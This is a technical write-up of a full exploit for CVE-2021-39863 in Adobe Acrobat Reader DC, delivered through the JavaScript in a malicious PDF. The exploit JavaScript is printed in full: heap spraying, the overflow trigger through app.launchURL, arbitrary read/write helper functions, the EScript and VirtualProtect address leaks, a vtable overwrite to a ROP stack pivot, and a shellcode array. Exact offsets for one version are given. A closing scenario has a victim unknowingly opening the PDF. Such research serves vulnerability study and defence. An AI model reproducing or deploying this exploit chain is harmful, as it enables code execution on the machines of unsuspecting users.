[Eng] CVE-2021-39863 Exploit
-
When you open a PDF containing an exploit code with a vulnerable version of Adobe, and if CFG (Control Flow Guard) is disabled, the exploit will proceed.
-
The GitHub link above contains the JavaScript code and PDF file used for the exploit.
- Inside the PDF file, you’ll find both (1) the base URL used in the exploit and (2) the embedded JavaScript code that executes the exploit.
-
The exploit bypasses the following security mitigations:
- ASLR (Address Space Layout Randomization)
- ASLR is a protection technique that randomizes the base addresses of the heap, stack, and code sections every time a program is executed.
- ASLR is bypassed by leaking BitmapData from the UserBlock Header, thereby obtaining an arbitrary read/write primitive.
- DEP (Data Execution Prevention)
- DEP is a protection technique that prevents code execution in non-executable areas such as the stack and heap.
- DEP is bypassed by performing stack pivoting through the heap.
- Stack pivoting is an attack technique where the attacker manipulates the stack pointer (esp) to trick the system into treating a desired area as the stack.
- ASLR (Address Space Layout Randomization)
-
Security Mitigations Not Bypassed:
- CFG (Control Flow Guard)
- CFG is a protection technique that prevents unexpected jumps to unintended addresses during program execution. It does this by adding a check function before every indirect call to ensure that the destination address is a safe one determined at compile time.
- Currently, the Adobe Ream is researching ways to bypass this mitigation.
- CFG (Control Flow Guard)
- The entire exploit process is as follows:
- Preparing Heap Layout
- The heap layout is prepared to obtain a read/write (R/W) primitive.
- Using the R/W primitive as a base, the exploit will access and manipulate data in arbitrary memory locations.
- If the byte length of an ArrayBuffer becomes -1, it becomes possible to access the entire memory using a DataView object created from that ArrayBuffer.
- The heap layout is designed so that a connected URL is stored between allocated ArrayBuffers. ⇒ During the URL connection process, the root cause leads to the byteLength of the adjacent ArrayBuffer being altered to -1.
- The heap layout is prepared to obtain a read/write (R/W) primitive.
- Get Arbitrary R/W Primitive
- Address Leak & Overwrite
- Preparing Stack Pivoting
- Preparing Heap Layout
1. Preparing Heap Layout
var strRelUrlSize = 0x600;
var strConUrlSize = 0x800;
function createArrayBuffer(blocksize) {
var arr = new ArrayBuffer(blocksize - 0x10);
var u8 = new Uint8Array(arr);
for (var i = 0; i < arr.byteLength; i++) {
u8[i] = 0x42;
}
return arr;
}
// 1. Create LFH heap space to store the string that will overwrite byteLength
var arrB = new Array(0xE0);
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}
// 2. Designate space between strings to store the relativeURL
for (var i = 0x11; i < arrB.length; i += 10) {
arrB[i] = null;
arrB[i] = undefined;
}
// 3. Create LFH heap space to store the connected URL
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
arrA[i] = createArrayBuffer(strConUrlSize);
}
// 4. Designate space in the LFH heap, allocated as an ArrayBuffer, where the connected URL will be placed
for (var i = 0x11; i < arrA.length; i += 10) {
arrA[i] = null;
arrA[i] = undefined;
}
// 5. Perform Garbage Collection (to actually free up the space for the URL)
gc();
- Preparing Heap Layout stage involves the following steps to set up the heap layout:
- Create an LFH heap space where the string is stored, that will overwrite the
byteLength
.- Allocate strings with a length of 0x600 bytes (size of the relative URL) multiple times to activate the LFH.
- In the string
"%u????"
, the last 2 bytes (????
) are encoded in Unicode. sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
represents (strRelUrlSize/2)-1 Unicode characters, excluding the 2-byte Null Terminator.- The string, excluding the 2-byte Null Terminator, is
strRelUrlSize-2
bytes long. Including the 2-byte null terminator, this forms the length of the relative URL.
- In the string
- Allocate strings with a length of 0x600 bytes (size of the relative URL) multiple times to activate the LFH.
- Specify a space between strings where the relative URL will be stored.
- Create an LFH heap space to store the connected URL.
- Allocate ArrayBuffers multiple times with a size of 0x800 bytes (size of the connected URL) to activate the LFH.
- The sizes of each URL and heap header are as follows:
- Relative URL: 0x600 bytes (including null character)
- Base URL: 0x200 bytes (including null character)
- ArrayBuffer header: 0x10 bytes
- Heap metadata: 0x08 bytes
- The relative URL and base URL are stored as follows:
- The relative URL is stored as a string in the
strings
object. - The base URL is copied into the space declared by the ArrayBuffer.
- The relative URL is stored as a string in the
- The URLs are connected through the following process:
- The base URL is copied into the heap space reserved for the connected URL.
- The relative URL is then copied after the base URL.
- Due to the root cause, the string connected to the relative URL is copied after the relative URL.
- This string overwrites the
byteLength
of the next ArrayBuffer with 0xFFFFFFFF.
- This string overwrites the
- Specify a space in the LFH, allocated as an ArrayBuffer, where the connected URL will be stored.
[Figure 1] Process of Preparing Heap Layout
- Create an LFH heap space where the string is stored, that will overwrite the
2. Triggering the Vulnerability
function triggerHeapOverflow() {
try {
app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
} catch(err) {}
}
- The
baseURL
is copied to the front part of the heap space allocated for the connected URL.- At this point, since the heap is a regular Heap and not an ArrayBuffer, the
baseURL
is copied immediately after the heap chunk metadata (starting from where the ArrayBuffer header would be, when it was allocated as an ArrayBuffer).
- At this point, since the heap is a regular Heap and not an ArrayBuffer, the
- The
relative URL
is copied to the back part of the heap space allocated for the connected URL, overwriting thebyteLength
field of the connected ArrayBuffer.- In [Figure 2] and [Figure 3], “Base” represents
baseURL
and “relative” representsrelativeURL
.
- In [Figure 2] and [Figure 3], “Base” represents
[Figure 2] The heap immediately after storing the
baseURL
in the heap allocated for the connected URL, and the subsequent heap (ArrayBuffer)
[Figure 3] The state of the heap after the URLs are connected, showing the heap where the two URLs are concatenated and the state of the subsequent heap (ArrayBuffer)
3. Get Arbitrary R/W primitive
// 1. Implement a relative read/write (r/w) primitive by accessing an out-of-bounds (oob) index.
for (var i = 0; i < arrA.length; i++) {
if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
var temp = new DataView(arrA[i]);
temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
}
if (arrA[i] != null && arrA[i].byteLength == -1) {
var rw = new DataView(arrA[i]);
break;
}
}
// 2. Obtain the out-of-bounds (oob) base VA (= StartAddr) => Control arbitrary VA values.
if (rw) {
curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18
for (var i = 0; i < 0x30; i += 4) {
BitMapBufOffset += 4;
signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
if (signature == 0xF0E0D0C0) {
BitMapBufOffset -= 0xC;
BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
break;
}
}
if (BitMapBuf) {
StartAddr = BitMapBuf + BitMapBufOffset - 4;
}
}
[Figure 4] Process to Obtain the r/w Primitive
- To control the memory values at arbitrary addresses, the following steps are required to obtain the R/W primitive:
-
After triggering the vulnerability, the
byteLength
of the ArrayBuffer immediately following the connected URL is overwritten with 0xFFFF.
- Overwrite the
byteLength
of the ArrayBuffer with -1.- Recognize the ArrayBuffer immediately after the connected URL and modify the
byteLength
of the associated ArrayBuffer to 0xFFFFFFFF (-1).
- Recognize the ArrayBuffer immediately after the connected URL and modify the
-
Set up a DataView object in the ArrayBuffer with the
byteLength
modified to -1, creating the R/W primitive.
-
Obtain the virtual address (VA) of the data starting point (R/W primitive) from the ArrayBuffer modified in step 2.
[Figure 5] Schematic Diagram of the Process to Obtain the VA of the r/w Primitive Using the UserBlock Structure
-
Obtain the chunk number from the heap chunk header of the heap chunk where the ArrayBuffer, with its
byteLength
modified to -1, is stored. - Calculate the offset between the start of the heap chunk header of the first heap chunk of the same size and the R/W primitive.
- The following values are needed for this calculation:
- Chunk number, chunk size
- Size of the heap chunk header (0x08 bytes)
- Size of the ArrayBuffer header (0x10 bytes)
-
Using these values, the offset can be calculated as follows:
offset = chunk number * chunk size + 0x08 + 0x10
- The following values are needed for this calculation:
- Calculate the offset between the R/W primitive and the signature (0xF0E0D0C0) defined by the LFH Userblock.
-
Starting from the R/W primitive, increment the offset by 4 bytes until you find the signature 0xF0E0D0C0 at the calculated offset from step 2.
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m
-
- Obtain the virtual address (VA) of the
BitmapData
in the UserBlock structure.- According to the structure of the UserBlock, retrieve the value stored in the pointer (address of
BitmapData
).[Figure 6] Structure of the UserBlock Header- The
BusyBitmap.Buffer
(Pointer) is located at an address 0x0C bytes higher than the Signature. - Thus, the offset between the R/W primitive and
BusyBitmap.Buffer
can be calculated as follows:
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c
[Figure 6] Structure of the UserBlock Header
&BitmapData = rw.getUint32(0xffffffff+0x1-offset, true)
- The
- According to the structure of the UserBlock, retrieve the value stored in the pointer (address of
- Calculate the virtual address (VA) of the R/W primitive.
- The following values are needed for this calculation:
-
The offset obtained in step 4:
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c
- The VA obtained in step 4.
- The size between the Pointer and
BitmapData
(size of the Pointer, 0x04 bytes).
-
- Using these values, the VA of the R/W primitive,
startAddr
, can be calculated as follows:startAddr = rw.getUint32(0xffffffff+0x1-offset, true) + offset - 0x04
- The following values are needed for this calculation:
-
With the VA of the R/W primitive, you can access any memory area by its address.
function readUint32(dataView, readAddr) { var offsetAddr = readAddr - StartAddr; if (offsetAddr < 0) { offsetAddr = offsetAddr + 0xFFFFFFFF + 1; } return dataView.getUint32(offsetAddr, true); } function writeUint32(dataView, writeAddr, value) { var offsetAddr = writeAddr - StartAddr; if (offsetAddr < 0) { offsetAddr = offsetAddr + 0xFFFFFFFF + 1 } return dataView.setUint32(offsetAddr, value, true); }
- The two functions mentioned above serve as helper functions that assist in controlling the values pointed to by arbitrary VAs (
readAddr
,writeAddr
).
The operation of the Helper Functions is as follows:
- When provided with the VA of a specific memory location, the helper function calculates the offset between this VA and the R/W primitive’s VA.
-
The helper function then uses the DataView object of the R/W primitive to control the value at the offset position calculated in step 1.
Through this process, you can control memory values by using the VA of specific memory locations.
- The two functions mentioned above serve as helper functions that assist in controlling the values pointed to by arbitrary VAs (
-
-
4. Preparing Stack Pivoting
var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
- Stack Pivoting is performed by moving the
esp
(stack pointer) to an arbitrary address, tricking the program into treating that area as a fake stack. -
The fake stack where the
esp
is moved must have write permissions to allow the stack to grow and to prevent errors caused by the absence of write permissions.To ensure this, a large amount of heap space is allocated so that the fake stack where the
esp
is moved is more likely to have both read and write permissions. - However, since the fake stack does not always end up in the sprayed heap area (allocated heap space), the exploit does not always succeed.
5. Address Leak & Overwrite ⇒ Hijacking Execution Flow
// 1. START Information Leak// leak the base address of EScript
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
// leak VirtualProtect address in kernel32.dll used by EScript
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
// leak address of vtable
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
// END Information Leak
// 2. Overwrite address of getProperty in vtable to address of ROP gadget
var offset = 0x1050AE;
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);
// 3. Set Shellcode
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
// Write Shell Code
for (var i = 0; i < shellcode.length; i++) {
writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}
// 4. Setup new Stack
var newStackAddr = 0x5D000001;
writeUint32(rw, newStackAddr, VirtualProtectAddr); // RIP 1
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18); // RIP 2
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18); // Arg1 : Start address of the memory
writeUint32(rw, newStackAddr + 0xC, shellcodesize); // Arg2 : Size of the memory
writeUint32(rw, newStackAddr + 0x10, 0x40); // Arg3 : Memory protection constant: 0x40 (execute permission)
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); // Arg4 : Pointer to store the previous protection constant
// 5. try to access unknown property
// => call overwritten getProperty(ROP Gadget) in vtable
var foo = rw.execFlowHijack;
- Important variables or values are stored at the following locations:
-
The ROP Gadget is located at a specific offset within the
EScript.api
file, with the offset being fixed relative to the base ofEScript.api
. In version 21.005.20048.43252 of Adobe Acrobat Reader DC, the offset of the ROP Gadget is0x1050AE
.0x1050AE: mov esp, 0x5d000001; ret;
- The new stack is at the location where the
esp
is moved by the ROP Gadget in step 1:0x5d000001
. This area must be within the sprayed heap space for the exploit to proceed. - In our exploit code, the shellcode is positioned at
r/w primitive's location + 0x18
.
-
- The process of leaking addresses, manipulating specific memory values, and executing the exploit is as follows:
- Perform information leakage to facilitate the exploit.
- Obtain the base address of
EScript
.- Use the memory structure of JSObject (e.g., DataView) as described in JS Object - SpiderMonkey to obtain an address somewhere within
EScript
. - Subtract the offset (0x277548) identified via IDA from the address obtained in step 1 to calculate the base address of
EScript
.
- Use the memory structure of JSObject (e.g., DataView) as described in JS Object - SpiderMonkey to obtain an address somewhere within
-
Identify the offset of the VirtualProtect function in
EScript
andkernel32.dll
using IDA (= 0x1B0060).[Figure 7] VirtualProtect function call stored in the idata segment
- The VirtualProtect function grants execution permissions to the area where the shellcode is stored, allowing the shellcode to run correctly.
Note: The .idata section refers to the import table.
- Calculate the address of the VirtualProtect function in
kernel32.dll
.- Use the base address of
EScript
obtained in step a and the offset to find the address of the VirtualProtect function called byEScript.api
. - Access the address obtained in step i to calculate the virtual address (VA) of the VirtualProtect function in
kernel32.dll
.
- Use the base address of
- Leak the address of the vtable.
- Use the memory structure of JSObject (e.g., DataView) as described in JS Object - SpiderMonkey to obtain the address of the property map used by
EScript
.
- Use the memory structure of JSObject (e.g., DataView) as described in JS Object - SpiderMonkey to obtain the address of the property map used by
- Obtain the base address of
- Modify the property map to point to the ROP Gadget.
-
Alter the address of the
getProperty
function in the property map of therw DataView
object to the address of the ROP Gadget.⇒ After this, calling the
getProperty
function of therw DataView
object will trigger the ROP Gadget instead of the originalgetProperty
function.
-
- Write the shellcode in a location with write permissions.
- Write the shellcode in a location with write permissions. In this case, we placed it at
r/w primitive's location + 0x18
.
- Write the shellcode in a location with write permissions. In this case, we placed it at
- Set up the new stack.
- The ROP Gadget being used moves
esp
to0x5D000001
, so the new stack is set up relative to that address. -
The new stack is configured to support the following operations:
[Figure 8] Structure of the new stack (just before the ROP Gadget is executed)
-
Call the VirtualProtect function to grant execution permissions to the shellcode area.
[Figure 9] The state just before the
ret
instruction is executed (left) and just before the VirtualProtect function is executed (right). -
Execute the shellcode.
[Figure 10] The state immediately after the VirtualProtect function prologue (left) and just before the shellcode execution (right).
- Since the VirtualProtect function is called with
jmp eip
, the RIP is not additionally saved. - The address previously present in the stack (which is actually a disguised heap) at
StartAddr+0x18
is treated as RIP.
- Since the VirtualProtect function is called with
-
- The ROP Gadget being used moves
- Trigger the exploit.
- The exploit is triggered when an attempt is made to reference a non-existent property (
execFlowHijack
) of the DataView, leading to thegetProperty
function being called.
- The exploit is triggered when an attempt is made to reference a non-existent property (
- Perform information leakage to facilitate the exploit.
Scenario
- In the following scenario, the victim unknowingly downloads a PDF file containing the exploit code described above.
- With CFG (Control Flow Guard) disabled, the victim opens the downloaded file using a vulnerable version of Adobe Acrobat Reader DC.
- The exploit proceeds, resulting in the calculator being launched, as shown in the video.